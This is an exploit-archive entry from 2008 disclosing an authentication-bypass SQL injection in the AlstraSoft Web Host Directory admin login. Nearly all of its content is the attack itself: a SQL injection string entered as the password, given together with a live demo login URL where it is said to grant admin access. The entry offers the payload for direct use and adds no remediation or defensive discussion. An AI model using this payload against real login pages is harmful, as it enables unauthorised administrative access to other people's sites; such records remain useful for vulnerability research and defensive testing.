AlstraSoft Web Host Directory (Auth Bypass) SQL Injection Vuln

2008-11-12T00:00:00
ID 1337DAY-ID-4165
Type zdt
Reporter ZoRLu
Modified 2008-11-12T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==============================================================
AlstraSoft Web Host Directory (Auth Bypass) SQL Injection Vuln
==============================================================


[~] AlstraSoft Web Host Directory auth bypass
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 12.11.2008
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] my bug number now: 36
[~]
[~] my target bug number: 100
[~]
[~] -----------------------------------------------------------


Exploit:

username: ZoRLu

password: ' or ' 1=1--


admin login for demo:

http://www.hyperstop.com/demo/webhost/

username: ZoRLu

password: ' or ' 1=1--



#  0day.today [2018-01-01]  #